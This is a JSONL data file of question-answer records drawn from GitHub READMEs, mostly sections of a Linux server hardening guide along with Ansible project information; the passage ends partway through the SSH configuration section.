{"id": "gh_741bb7a75f08", "question": "How to: Contributions", "question_body": "About Hack-with-Github/Awesome-Hacking", "answer": "Please have a look at [contributing.md](contributing.md)", "tags": ["Hack-with-Github"], "source": "github_gists", "category": "Hack-with-Github", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104804, "answer_score": 10, "has_code": false, "url": "https://github.com/Hack-with-Github/Awesome-Hacking", "collected_at": "2026-01-17T08:17:56.808154"}
{"id": "gh_bc62a0417dfb", "question": "How to: Design Principles", "question_body": "About ansible/ansible", "answer": "* Have an extremely simple setup process with a minimal learning curve.\n* Manage machines quickly and in parallel.\n* Avoid custom-agents and additional open ports, be agentless by\n  leveraging the existing SSH daemon.\n* Describe infrastructure in a language that is both machine and human\n  friendly.\n* Focus on security and easy auditability/review/rewriting of content.\n* Manage new remote machines instantly, without bootstrapping any\n  software.\n* Allow module development in any dynamic language, not just Python.\n* Be usable as non-root.\n* Be the easiest IT automation system to use, ever.", "tags": ["ansible"], "source": "github_gists", "category": "ansible", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 67683, "answer_score": 10, "has_code": false, "url": "https://github.com/ansible/ansible", "collected_at": "2026-01-17T08:17:59.942084"}
{"id": "gh_bda2fa02398a", "question": "How to: Use Ansible", "question_body": "About ansible/ansible", "answer": "You can install a released version of Ansible with `pip` or a package manager. See our\n[installation guide](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html) for details on installing Ansible\non a variety of platforms.\n\nPower users and developers can run the `devel` branch, which has the latest\nfeatures and fixes, directly. Although it is reasonably stable, you are more likely to encounter\nbreaking changes when running the `devel` branch. We recommend getting involved\nin the Ansible community if you want to run the `devel` branch.", "tags": ["ansible"], "source": "github_gists", "category": "ansible", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 67683, "answer_score": 10, "has_code": false, "url": "https://github.com/ansible/ansible", "collected_at": "2026-01-17T08:17:59.942100"}
{"id": "gh_93c99837879d", "question": "How to: Contribute to Ansible", "question_body": "About ansible/ansible", "answer": "* Check out the [Contributor's Guide](./.github/CONTRIBUTING.md).\n* Read [Community Information](https://docs.ansible.com/ansible/devel/community) for all\n  kinds of ways to contribute to and interact with the project,\n  including how to submit bug reports and code to Ansible.\n* Submit a proposed code update through a pull request to the `devel` branch.\n* Talk to us before making larger changes\n  to avoid duplicate efforts. This not only helps everyone\n  know what is going on, but it also helps save time and effort if we decide\n  some changes are needed.", "tags": ["ansible"], "source": "github_gists", "category": "ansible", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 67683, "answer_score": 10, "has_code": false, "url": "https://github.com/ansible/ansible", "collected_at": "2026-01-17T08:17:59.942116"}
{"id": "gh_90a480faf6c4", "question": "How to: Coding Guidelines", "question_body": "About ansible/ansible", "answer": "We document our Coding Guidelines in the [Developer Guide](https://docs.ansible.com/ansible/devel/dev_guide/). We particularly suggest you review:\n\n* [Contributing your module to Ansible](https://docs.ansible.com/ansible/devel/dev_guide/developing_modules_checklist.html)\n* [Conventions, tips, and pitfalls](https://docs.ansible.com/ansible/devel/dev_guide/developing_modules_best_practices.html)", "tags": ["ansible"], "source": "github_gists", "category": "ansible", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 67683, "answer_score": 10, "has_code": false, "url": "https://github.com/ansible/ansible", "collected_at": "2026-01-17T08:17:59.942122"}
{"id": "gh_99dfea91c95b", "question": "How to: Branch Info", "question_body": "About ansible/ansible", "answer": "* The `devel` branch corresponds to the release actively under development.\n* The `stable-2.X` branches correspond to stable releases.\n* Create a branch based on `devel` and set up a [dev environment](https://docs.ansible.com/ansible/devel/dev_guide/developing_modules_general.html#common-environment-setup) if you want to open a PR.\n* See the [Ansible release and maintenance](https://docs.ansible.com/ansible/devel/reference_appendices/release_and_maintenance.html) page for information about active branches.", "tags": ["ansible"], "source": "github_gists", "category": "ansible", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 67683, "answer_score": 10, "has_code": false, "url": "https://github.com/ansible/ansible", "collected_at": "2026-01-17T08:17:59.942128"}
{"id": "gh_a862d6148577", "question": "How to: Table of Contents", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "- [Introduction](#introduction)\n  - [Guide Objective](#guide-objective)\n  - [Why Secure Your Server](#why-secure-your-server)\n  - [Why Yet Another Guide](#why-yet-another-guide)\n  - [Other Guides](#other-guides)\n  - [To Do / To Add](#to-do--to-add)\n- [Guide Overview](#guide-overview)\n  - [About This Guide](#about-this-guide)\n  - [My Use-Case](#my-use-case)\n  - [Editing Configuration Files - For The Lazy](#editing-configuration-files---for-the-lazy)\n  - [Contributing](#contributing)\n- [Before You Start](#before-you-start)\n  - [Identify Your Principles](#identify-your-principles)\n  - [Picking A Linux Distribution](#picking-a-linux-distribution)\n  - [Installing Linux](#installing-linux)\n  - [Pre/Post Installation Requirements](#prepost-installation-requirements)\n  - [Other Important Notes](#other-important-notes)\n  - [Using Ansible Playbooks to secure your Linux Server](#using-ansible-playbooks-to-secure-your-linux-server)\n- [The SSH Server](#the-ssh-server)\n  - [Important Note Before You Make SSH Changes](#important-note-before-you-make-ssh-changes)\n  - [SSH Public/Private Keys](#ssh-publicprivate-keys)\n  - [Create SSH Group For AllowGroups](#create-ssh-group-for-allowgroups)\n  - [Secure `/etc/ssh/sshd_config`](#secure-etcsshsshd_config)\n  - [Remove Short Diffie-Hellman Keys](#remove-short-diffie-hellman-keys)\n  - [2FA/MFA for SSH](#2famfa-for-ssh)\n- [The Basics](#the-basics)\n  - [Limit Who Can Use sudo](#limit-who-can-use-sudo)\n  - [Limit Who Can Use su](#limit-who-can-use-su)\n  - [Run applications in a sandbox with FireJail](#run-applications-in-a-sandbox-with-firejail)\n  - [NTP Client](#ntp-client)\n  - [Securing /proc](#securing-proc)\n  - [Force Accounts To Use Secure Passwords](#force-accounts-to-use-secure-passwords)\n  - [Automatic Security Updates and Alerts](#automatic-security-updates-and-alerts)\n  - [More Secure Random Entropy Pool (WIP)](#more-secure-random-entropy-pool-wip)\n  - [Add Panic/Secondary/Fake password Login Security System](#add-panic-secondary-fake-password-login-security-system)\n- [The Network](#the-network)\n  - [Firewall With UFW (Uncomplicated Firewall)](#firewall-with-ufw-uncomplicated-firewall)\n  - [iptables Intrusion Detection And Prevention with PSAD](#iptables-intrusion-detection-and-prevention-with-psad)\n  - [Application Intrusion Detection And Prevention With Fail2Ban](#application-intrusion-detection-and-prevention-with-fail2ban) \n  - [Application Intrusion Detection And Prevention With CrowdSec](#application-intrusion-detection-and-prevention-with-crowdsec)\n- [The Auditing](#the-auditing)\n  - [File/Folder Integrity Monitoring With AIDE (WIP)](#filefolder-integrity-monitoring-with-aide-wip)\n  - [Anti-Virus Scanning With ClamAV (WIP)](#anti-virus-scanning-with-clamav-wip)\n  - [Rootkit Detection With Rkhunter (WIP)](#rootkit-detection-with-rkhunter-wip)\n  - [Rootkit Detection With chrootkit (WIP)](#rootkit-detection-with-chrootkit-wip)\n  - [logwatch - system log analyzer and reporter](#logwatch---system-log-analyzer-and-reporter)\n  - [ss - Seeing Ports Your Server Is Listening On](#ss---seeing-ports-your-server-is-listening-on)\n  - [Lynis - Linux Security Auditing](#lynis---linux-security-auditing)\n  - [OSSEC - Host Intrusion Detection](#ossec---host-intrusion-detection)\n- [The Danger Zone](#the-danger-zone)\n- [The Miscellaneous](#the-miscellaneous)\n  - [MSMTP (Simple Sendmail) with Google](#msmtp-alternative)\n  - [Gmail and Exim4 As MTA With Implicit TLS](#gmail-and-exim4-as-mta-with-implicit-tls)\n  - [Separate iptables Log File](#separate-iptables-log-file)\n- [Left Over](#left-over)\n  - [Contacting Me](#contacting-me)\n  - [Helpful Links](#helpful-links)\n  - [Acknowledgments](#acknowledgments)\n  - [License and Copyright](#license-and-copyright)\n\n(TOC made with [nGitHubTOC](https://imthenachoman.github.io/nGitHubTOC/))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312440"}
{"id": "gh_c7ac1ef1311d", "question": "How to: Guide Objective", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "This guides purpose is to teach you how to secure a Linux server.\n\nThere are a lot of things you can do to secure a Linux server and this guide will attempt to cover as many of them as possible. More topics/material will be added as I learn, or as folks [contribute](#contributing).\n\nAnsible playbooks of this guide are available at [How To Secure A Linux Server With Ansible](https://github.com/moltenbit/How-To-Secure-A-Linux-Server-With-Ansible) by [moltenbit](https://github.com/moltenbit).\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312455"}
{"id": "gh_1d30c2ffed50", "question": "How to: Why Secure Your Server", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "I assume you're using this guide because you, hopefully, already understand why good security is important. That is a heavy topic onto itself and breaking it down is out-of-scope for this guide. If you don't know the answer to that question, I advise you research it first.\n\nAt a high level, the second a  device, like a server, is in the public domain -- i.e. visible to the outside world -- it becomes a target for bad-actors. An unsecured device is a playground for bad-actors who want access to your data, or to use your server as another node for their large-scale DDOS attacks.\n\nWhat's worse is, without good security, you may never know if your server has been compromised. A bad-actor may have gained unauthorized access to your server and copied your data without changing anything, so you'd never know. Or your server may have been part of a DDOS attack, and you wouldn't know. Look at many of the large scale data breaches in the news -- the companies often did not discover the data leak or intrusion until long after the bad-actors were gone.\n\nContrary to popular belief, bad-actors don't always want to change something or [lock you out of your data for money](https://en.wikipedia.org/wiki/Ransomware). Sometimes they just want the data on your server for their data warehouses (there is big money in big data) or to covertly use your server for their nefarious purposes.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312463"}
{"id": "gh_32170bee45b7", "question": "How to: Why Yet Another Guide", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "This guide may appear duplicative/unnecessary because there are countless articles online that tell you [how to secure Linux](https://duckduckgo.com/?q=how+to+secure+linux&t=ffab&atb=v151-7&ia=web), but the information is spread across different articles, that cover different things, and in different ways. Who has time to scour through hundreds of articles?\n\nAs I was going through research for my Debian build, I kept notes. At the end I realized that, along with what I already knew, and what I was learning, I had the makings of a how-to guide. I figured I'd put it online to hopefully help others **learn**, and **save time**.\n\nI've never found one guide that covers everything -- this guide is my attempt.\n\nMany of the things covered in this guide may be rather basic/trivial, but most of us do not install Linux every day, and it is easy to forget those basic things.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312470"}
{"id": "gh_b0c3b0e964fb", "question": "How to: Other Guides", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "There are many guides provided by experts, industry leaders, and the distributions themselves. It is not practical, and sometimes against copyright, to include everything from those guides. I recommend you check them out before starting with this guide.\n\n- The [Center for Internet Security (CIS)](https://www.cisecurity.org/) provides [benchmarks](https://www.cisecurity.org/cis-benchmarks/) that are exhaustive, industry trusted, step-by-step instructions for securing many flavors of Linux. Check their [About Us](https://www.cisecurity.org/about-us/) page for details. My recommendation is to go through this guide (the one you're reading here) first and THEN CIS's guide. That way their recommendations will trump anything in this guide.\n- For distribution specific hardening/security guides, check your distributions documentation.\n- https://security.utexas.edu/os-hardening-checklist/linux-7 - Red Hat Enterprise Linux 7 Hardening Checklist\n- https://cloudpro.zone/index.php/2018/01/18/debian-9-3-server-setup-guide-part-1/ - # Debian 9.3 server setup guide\n- https://blog.vigilcode.com/2011/04/ubuntu-server-initial-security-quick-secure-setup-part-i/ - Ubuntu Server Initial Security guide\n- https://www.tldp.org/LDP/sag/html/index.html\n- https://seifried.org/lasg/\n- https://news.ycombinator.com/item?id=19178964\n- https://wiki.archlinux.org/index.php/Security - many folks have also recommended this one\n- https://securecompliance.co/linux-server-hardening-checklist/\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312477"}
{"id": "gh_551edb3ce120", "question": "How to: To Do / To Add", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "- [ ] [Custom Jails for Fail2ban](#custom-jails)\n- [ ] MAC (Mandatory Access Control) and Linux Security Modules (LSMs)\n   - https://wiki.archlinux.org/index.php/security#Mandatory_access_control\n   - Security-Enhanced Linux / SELinux\n       - https://en.wikipedia.org/wiki/Security-Enhanced_Linux\n       - https://linuxtechlab.com/beginners-guide-to-selinux/\n       - https://linuxtechlab.com/replicate-selinux-policies-among-linux-machines/\n       - https://teamignition.us/how-to-stop-being-a-scrub-and-learn-to-use-selinux.html\n   - AppArmor\n       - https://wiki.archlinux.org/index.php/AppArmor\n       - https://security.stackexchange.com/questions/29378/comparison-between-apparmor-and-selinux\n        - http://www.insanitybit.com/2012/06/01/why-i-like-apparmor-more-than-selinux-5/\n- [ ] disk encryption\n- [ ] Rkhunter and chrootkit\n    - http://www.chkrootkit.org/\n    - http://rkhunter.sourceforge.net/\n    - https://www.cyberciti.biz/faq/howto-check-linux-rootkist-with-detectors-software/\n    - https://www.tecmint.com/install-rootkit-hunter-scan-for-rootkits-backdoors-in-linux/\n- [ ] shipping/backing up logs - https://news.ycombinator.com/item?id=19178681\n- [ ] CIS-CAT - https://learn.cisecurity.org/cis-cat-landing-page\n- [ ] debsums - https://blog.sleeplessbeastie.eu/2015/03/02/how-to-verify-installed-packages/\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312484"}
{"id": "gh_f10f11eeb43e", "question": "How to: About This Guide", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "This guide...\n\n- ...**is** a work in progress.\n- ...**is** focused on **at-home** Linux servers. All of the concepts/recommendations here apply to larger/professional environments but those use-cases call for more advanced and specialized configurations that are out-of-scope for this guide.\n- ...**does not** teach you about Linux, how to [install Linux](#installing-linux), or how to use it. Check https://linuxjourney.com/ if you're new to Linux.\n- ...**is** meant to be [Linux distribution agnostic](#picking-a-linux-distribution).\n- ...**does not** teach you everything you need to know about security nor does it get into all aspects of system/server security. For example, physical security is out of scope for this guide.\n- ...**does not** talk about how programs/tools work, nor does it delve into their nook and crannies. Most of the programs/tools this guide references are very powerful and highly configurable. The goal is to cover the bare necessities -- enough to whet your appetite and make you hungry enough to want to go and learn more.\n- ...**aims** to make it easy by providing code you can copy-and-paste. You might need to modify the commands before you paste so keep your favorite [text editor](https://notepad-plus-plus.org/) handy.\n- ...**is** organized in an order that makes logical sense to me -- i.e. securing SSH before installing a firewall. As such, this guide is intended to be followed in the order it is presented, but it is not necessary to do so. Just be careful if you do things in a different order -- some sections require previous sections to be completed.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312492"}
{"id": "gh_ce26839b3c48", "question": "How to: My Use-Case", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "There are many types of servers and different use-cases. While I want this guide to be as generic as possible, there will be some things that may not apply to all/other use-cases. Use your best judgement when going through this guide.\n\nTo help put context to many of the topics covered in this guide, my use-case/configuration is:\n\n- A desktop class computer...\n- With a single NIC...\n- Connected to a consumer grade router...\n- Getting a dynamic WAN IP provided by the ISP...\n- With WAN+LAN on IPV4...\n- And LAN using [NAT](https://en.wikipedia.org/wiki/Network_address_translation)...\n- That I want to be able to SSH to remotely from unknown computers and unknown locations (i.e. a friend's house).\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312498"}
{"id": "gh_f282bf09b313", "question": "How to: Editing Configuration Files - For The Lazy", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "I am very lazy and do not like to edit files by hand if I don't need to. I also assume everyone else is just like me. :)\n\nSo, when and where possible, I have provided `code` snippets to quickly do what is needed, like add or change a line in a configuration file.\n\nThe `code` snippets use basic commands like `echo`, `cat`, `sed`, `awk`, and `grep`. How the `code` snippets work, like what each command/part does, is out of scope for this guide -- the `man` pages are your friend.\n\n**Note**: The `code` snippets do not validate/verify the change went through -- i.e. the line was actually added or changed. I'll leave the verifying part in your capable hands. The steps in this guide do include taking backups of all files that will be changed.\n\nNot all changes can be automated with `code` snippets. Those changes need good, old-fashioned, manual editing. For example, you can't just append a line to an [INI](https://en.wikipedia.org/wiki/INI_file) type file. Use your [favorite](https://en.wikipedia.org/wiki/Vi) Linux text editor.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312505"}
{"id": "gh_3c4d533f015e", "question": "How to: Contributing", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "I wanted to put this guide on [GitHub](http://www.github.com) to make it easy to collaborate. The more folks that contribute, the better and more complete this guide will become.\n\nTo contribute you can fork and submit a pull request or submit a [new issue](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/new).\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312510"}
{"id": "gh_e8d9dd4cfbe2", "question": "How to: Identify Your Principles", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "Before you start you will want to identify what your Principles are. What is your [threat model](https://en.wikipedia.org/wiki/Threat_model)? Some things to think about:\n\n- Why do you want to secure your server?\n- How much security do you want or not want?\n- How much convenience are you willing to compromise for security and vice-versa?\n- What are the threats you want to protect against? What are the specifics to your situation? For example:\n  - Is physical access to your server/network a possible attack vector?\n  - Will you be opening ports on your router so you can access your server from outside your home?\n  - Will you be hosting a file share on your server that will be mounted on a desktop class machine? What is the possibility of the desktop machine getting infected and, in turn, infecting the server?\n - Do you have a means of recovering if your security implementation locks you out of your own server? For example, you [disabled root login](#disable-root-login) or [password protected GRUB](#password-protect-grub).\n\nThese are just **a few things** to think about. Before you start securing your server you will want to understand what you're trying to protect against and why so you know what you need to do.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312517"}
{"id": "gh_1583abf8bb7e", "question": "How to: Picking A Linux Distribution", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "This guide is intended to be distribution agnostic so users can use [any distribution](https://distrowatch.com/) they want. With that said, there are a few things to keep in mind:\n\nYou want a distribution that...\n\n- ...**is stable**. Unless you like debugging issues at 2 AM, you don't want an [unattended upgrade](#automatic-security-updates-and-alerts), or a manual package/system update, to render your server inoperable. But this also means you're okay with not running the latest, greatest, bleeding edge software.\n- ...**stays up-to-date with security patches**. You can secure everything on your server, but if the core OS or applications you're running have known vulnerabilities, you'll never be safe.\n- ...**you're familiar with.** If you don't know Linux, I would advise you play around with one before you try to secure it. You should be comfortable with it and know your way around, like how to install software, where configuration files are, etc...\n- ...**is well-supported.** Even the most seasoned admin needs help every now and then. Having a place to go for help will save your sanity.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312524"}
{"id": "gh_b09a6d3d7e36", "question": "How to: Installing Linux", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "Installing Linux is out-of-scope for this guide because each distribution does it differently and the installation instructions are usually well documented. If you need help, start with your distribution's documentation. Regardless of the distribution, the high-level process usually goes like so:\n\n1. download the ISO\n1. burn/copy/transfer it to your install medium (e.g. a CD or USB stick)\n1. boot your server from your install medium\n1. follow the prompts to install\n\nWhere applicable, use the expert install option so you have tighter control of what is running on your server. **Only install what you absolutely need.** I, personally, do not install anything other than SSH. Also, tick the Disk Encryption option.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312529"}
{"id": "gh_b1d07fecfe11", "question": "How to: Pre/Post Installation Requirements", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "- If you're opening ports on your router so you can access your server from the outside, disable the port forwarding until your system is up and secured.\n- Unless you're doing everything physically connected to your server, you'll need remote access so be sure SSH works.\n- Keep your system up-to-date (i.e. `sudo apt update && sudo apt upgrade` on Debian based systems).\n- Make sure you perform any tasks specific to your setup like:\n  - Configuring network\n  - Configuring mount points in `/etc/fstab`\n  - Creating the initial user accounts\n  - Installing core software you'll want like `man`\n  - Etc...\n- Your server will need to be able to send e-mails so you can get important security alerts. If you're not setting up a mail server check [Gmail and Exim4 As MTA With Implicit TLS](#gmail-and-exim4-as-mta-with-implicit-tls).\n- I would also recommend you **read** through the [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/) before you start with this guide just to digest/understand what they have to say. My recommendation is to go through this guide (the one you're reading here) first and THEN CIS's guide. That way their recommendations will trump anything in this guide.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312537"}
{"id": "gh_9a801fc7c5eb", "question": "How to: Other Important Notes", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "- This guide is being written and tested on Debian. Most things below should work on other distributions. If you find something that does not, please [contact me](#contacting-me). The main thing that separates each distribution will be its package management system. Since I use Debian, I will provide the appropriate `apt` commands that should work on all [Debian based distributions](https://www.debian.org/derivatives/). If someone is willing to [provide](#contributing) the respective commands for other distributions, I will add them.\n- File paths and settings also may differ slightly -- check with your distribution's documentation if you have issues.\n- Read the whole guide before you start. Your use-case and/or principals may call for not doing something or for changing the order.\n- Do not **blindly** copy-and-paste without understanding what you're pasting. Some commands will need to be modified for your needs before they'll work -- usernames for example.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312543"}
{"id": "gh_c83bfa637fdb", "question": "How to: Using Ansible playbooks to secure your Linux Server", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "Ansible playbooks of this guide are available at [How To Secure A Linux Server With Ansible](https://github.com/moltenbit/How-To-Secure-A-Linux-Server-With-Ansible).\n\nMake sure to edit the variables according to your needs and read all tasks beforehand to confirm it does not break your system. After running the playbooks ensure that all settings are configured to your needs!\n\n1. Install [Ansible](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html)\n2. git clone [How To Secure A Linux Server With Ansible](https://github.com/moltenbit/How-To-Secure-A-Linux-Server-With-Ansible)\n3. [Create SSH-Public/Private-Keys](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server#ssh-publicprivate-keys)\n  ```\n  ssh-keygen -t ed25519\n  ```\n   \n5. Change all variables in *group_vars/variables.yml* according to your needs.\n6. Enable SSH root access before running the playbooks:\n   \n  ```\n  nano /etc/ssh/sshd_config\n  [...]\n  PermitRootLogin yes\n  [...]\n  ```\n\n7. Recommended: configure static IP address on your system.\n8. Add your systems IP address to *hosts.yml*.\n\n \n\nRun the requirements playbook using the root password you specified while installing the server:\n\n    ansible-playbook --inventory hosts.yml --ask-pass requirements-playbook.yml\n\n \n\nRun the main playbook with the new users password you specified in the *variables.yml* file:\n\n    ansible-playbook --inventory hosts.yml --ask-pass main-playbook.yml\n\n \n\nIf you need to run the playbooks multiple times remember to use the SSH key and the new SSH port:\n\n    ansible-playbook --inventory hosts.yml -e ansible_ssh_port=SSH_PORT --key-file /PATH/TO/SSH/KEY main-playbook.yml\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312551"}
{"id": "gh_4af47a9421a0", "question": "How to: Important Note Before You Make SSH Changes", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "It is highly advised you keep a 2nd terminal open to your server **before you make and apply SSH configuration changes**. This way if you lock yourself out of your 1st terminal session, you still have one session connected so you can fix it.\n\nThank you to [Sonnenbrand](https://github.com/Sonnenbrand) for this [idea](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/56).", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312556"}
{"id": "gh_327b5a5205d4", "question": "How to: Create SSH Group For AllowGroups", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nTo make it easy to control who can SSH to the server. By using a group, we can quickly add/remove accounts to the group to quickly allow or not allow SSH access to the server.\n\n#### How It Works\n\nWe will use the [AllowGroups option](#AllowGroups) in SSH's configuration file [`/etc/ssh/sshd_config`](#secure-etcsshsshd_config) to tell the SSH server to only allow users to SSH in if they are a member of a certain UNIX group. Anyone not in the group will not be able to SSH in.\n\n#### Goals\n\n- a UNIX group that we'll use in [Secure `/etc/ssh/sshd_config`](#secure-etcsshsshd_config) to limit who can SSH to the server\n\n#### Notes\n\n- This is a prerequisite step to support the `AllowGroup` setting set in [Secure `/etc/ssh/sshd_config`](#secure-etcsshsshd_config).\n\n#### References\n\n- `man groupadd`\n- `man usermod`\n\n#### Steps\n\n1. Create a group:\n\n    ``` bash\n    sudo groupadd sshusers\n    ```\n\n1. Add account(s) to the group:\n\n    ``` bash\n    sudo usermod -a -G sshusers user1\n    sudo usermod -a -G sshusers user2\n    sudo usermod -a -G sshusers ...\n    ```\n\n    You'll need to do this for every account on your server that needs SSH access.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312581"}
{"id": "gh_dbd432e1c233", "question": "How to: Secure `/etc/ssh/sshd_config`", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nSSH is a door into your server. This is especially true if you are opening ports on your router so you can SSH to your server from outside your home network. If it is not secured properly, a bad-actor could use it to gain unauthorized access to your system.\n\n#### How It Works\n\n`/etc/ssh/sshd_config` is the default configuration file that the SSH server uses. We will use this file to tell what options the SSH server should use.\n\n#### Goals\n\n- a secure SSH configuration\n\n#### Notes\n\n- Make sure you've completed [Create SSH Group For AllowGroups](#create-ssh-group-for-allowgroups) first.\n\n#### References\n\n- Mozilla's OpenSSH guidelines for OpenSSH 6.7+ at https://infosec.mozilla.org/guidelines/openssh#modern-openssh-67\n- https://linux-audit.com/audit-and-harden-your-ssh-configuration/\n- https://www.ssh.com/ssh/sshd_config/\n- https://www.techbrown.com/harden-ssh-secure-linux-vps-server/ (broken; try http://web.archive.org/web/20200413100933/https://www.techbrown.com/harden-ssh-secure-linux-vps-server/)\n- https://serverfault.com/questions/660160/openssh-difference-between-internal-sftp-and-sftp-server/660325\n- `man 